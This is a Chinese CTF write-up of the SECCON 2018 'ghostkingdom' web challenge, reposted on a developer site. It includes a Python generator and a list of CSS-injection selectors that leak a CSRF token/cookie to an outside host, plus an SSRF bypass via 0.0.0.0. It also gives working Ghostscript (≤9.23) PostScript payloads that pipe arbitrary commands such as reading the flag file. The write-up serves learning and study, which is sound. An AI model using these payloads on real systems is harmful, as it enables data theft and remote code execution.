2018SECCON ghostkingdom

栏目: CSS · 发布时间: 6年前

内容简介:唯一的一道web题,周末有事去啦就没做上,赛后复盘了一下。有两个之前没学过的知识点,这篇writeup想以另外一种形式来写,会更注重下这两个漏洞的原理和利用。

唯一的一道web题,周末有事去啦就没做上,赛后复盘了一下。

有两个之前没学过的知识点, CSS injectionGhost命令执行 (暑假出来的时候太懒就没复现T_T

这篇writeup想以另外一种形式来写,会更注重下这两个漏洞的原理和利用。

ghostkingdom

主要功能

题目开始是个简单的注册登录,登录的时候仔细观察可以发现登录的账号密码是通过GET方式传输的(稍后会有用

进去之后有三个主要的功能点

2018SECCON ghostkingdom

  • 给管理员发送消息(测试xss似乎不管用
  • 截屏
  • 上传图像(只有本地登录的用户才可以开启这个功能

一番测试之后,可以发现发送消息的url有一些端倪

http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=hello&action=msgadm2

明显可以看出是一段base64的编码,试图去修改之后进行xss

2018SECCON ghostkingdom

很不幸的是尖括号之类的字符被实体转义了。随后就想到一个从未用过但是之前在书上一老看到的利用CSS进行XSS

但是吧,学安全这玩意不动手确实是不行,试了半天在本地也没成功过,最后看了owasp中的一段话真相了

2018SECCON ghostkingdom

IE 7/8。。那不约等于没有这种漏洞利用手法。

CSS injection

然后就是涉及到 CSS 的另外一种利用手法,利用 url() 可以发送请求,来获取前端页面中的数据。

这里还需要关注到另外一个点就是 csrf_token 中的值和 Cookie 中的值是一致的。

也就意味着我们可以利用 CSS 来获取 Cookie 的值。

screenshot 的界面有个比较明显的 SSRF ,虽然限制了一些关键字,但是还是可以用 0.0.0.0 或者十进制之类的方式绕过。

这里有个点一直没怎么搞懂,就是需要自己先通过截屏的功能登录一次,让对方服务器先带上cookie(比赛的时候那么多人,而且那么多服务器,不会出问题么?

只要通过如下的方式,就可以让对方服务器带上Cookie了。

http://0.0.0.0/?user=username&pass=password&action=login

然后就是通过构造包含恶意CSS的页面,来获取在 csrf_token 上的cookie值

import base64
def getBase64(s):
    z = []
    for i  in  '0123456789abcdef':
        st = s + i
        z.append('input[value^="{}"] {{background: url(http://kingkk.com:23333?csrf={})}}'.format(st, st))
    return base64.b64encode('\n'.join(z))

def formatURL(s):
    return "http://0.0.0.0/?css={}&action=msgadm2".format(s)

print formatURL(getBase64('8dc4811759c90887a1f2d6'))

需要22次,就能依次爆出cookie的值

2018SECCON ghostkingdom

Ghostscript rce

利用这个cookie登录之后就能访问上传图片的功能。

上传图片后还能进行 jpggif 的格式转换。

当上传一个不符合要求的图片的时候,会爆出一些错误

2018SECCON ghostkingdom

可以看到 convert 命令的错误信息。就会涉及到八月份底爆出的 Ghostscript 命令执行的漏洞

这里只要构造好对应的图片,就能进行任意代码执行,读取flag。(文件路径有相应的提示,就不多说

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops

2018SECCON ghostkingdom

CSS injection

当我们只能够控制 <style> 标签中的内容,无法进行标签逃逸时,可以通过一些特定的方式来获取页面中的数据。

比如 csrf_token 获取后台页面中的一些数据。

主要原理是通过css样式支持的一些匹配,以及 url 可以发起一次GET请求来进行攻击。

就像CTF题中的,想要获取 csrf_token 的值,就可以利用 input[name="scrf"] 来选中这个标签

2018SECCON ghostkingdom

然后再利用正则匹配

input[name="scrf"][value^="0"] {background: url(http://kingkk.com:23333?csrf=0)}
input[name="scrf"][value^="1"] {background: url(http://kingkk.com:23333?csrf=1)}
input[name="scrf"][value^="2"] {background: url(http://kingkk.com:23333?csrf=2)}
input[name="scrf"][value^="3"] {background: url(http://kingkk.com:23333?csrf=3)}
input[name="scrf"][value^="4"] {background: url(http://kingkk.com:23333?csrf=4)}
input[name="scrf"][value^="5"] {background: url(http://kingkk.com:23333?csrf=5)}
input[name="scrf"][value^="6"] {background: url(http://kingkk.com:23333?csrf=6)}
input[name="scrf"][value^="7"] {background: url(http://kingkk.com:23333?csrf=7)}
input[name="scrf"][value^="8"] {background: url(http://kingkk.com:23333?csrf=8)}
input[name="scrf"][value^="9"] {background: url(http://kingkk.com:23333?csrf=9)}
input[name="scrf"][value^="a"] {background: url(http://kingkk.com:23333?csrf=a)}
input[name="scrf"][value^="b"] {background: url(http://kingkk.com:23333?csrf=b)}
input[name="scrf"][value^="c"] {background: url(http://kingkk.com:23333?csrf=c)}
input[name="scrf"][value^="d"] {background: url(http://kingkk.com:23333?csrf=d)}
input[name="scrf"][value^="e"] {background: url(http://kingkk.com:23333?csrf=e)}
input[name="scrf"][value^="f"] {background: url(http://kingkk.com:23333?csrf=f)}

当匹配到页面中value值为某一个特定的值时,就设置不同的 背景 (目的是为了利用 url 发送一次GET请求

GET的请求可以被访问日志给记录。这样,就可以利用这种匹配的手段,来获取页面中的一些值。从而窃取数据。

Ghostscript rce

今年暑假新出的漏洞,当时以为是一门小众的编程语言,就没在意了。原来是用来处理图片的。

ghostscript 用于处理图片,被内置在一些库中。网站中处理图片的功能还是比较常见的,听说当时好多人刷了一大波src

  • imagemagick
  • libmagick
  • graphicsmagick
  • gimp
  • python-matplotlib
  • texlive-core
  • texmacs
  • latex2html
  • latex2rtf

由于C太菜,就不分析内部逻辑了,直接来看下利用。

需要ghostscript <= 9.23

然后只需要构造一个特定的图片,就可以任意代码执行。

Ubuntu

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

将id替换成别的语句就可以执行任意代码

(%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt))

2018SECCON ghostkingdom

Centos中代码有些细微的差别

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

由于暂时没有centos虚拟机,就没验证了。

在平时渗透测试中,可以测试一些带有dnslog的poc,来测试是否存在该漏洞。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

RabbitMQ实战

RabbitMQ实战

Alvaro Videla、Jason J. W. Williams / 汪佳南 / 电子工业出版社 / 2015-10 / 75.00元

本书对RabbitMQ做了全面、翔实的讲解,体现了两位专家的真知灼见。本书首先介绍了有关MQ的历史,然后从基本的消息通信原理讲起,带领读者一路探索RabbitMQ的消息通信世界。这当中不仅包含了针对单台RabbitMQ服务器和RabbitMQ集群的讲解,还教导读者如何使用各种工具来进行监控。 本书内容浅显易懂,文笔风趣幽默。书中包含了丰富的、可以运行的示例程序源代码,读者可以自行下载并运行,......一起来看看 《RabbitMQ实战》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

随机密码生成器
随机密码生成器

多种字符组合密码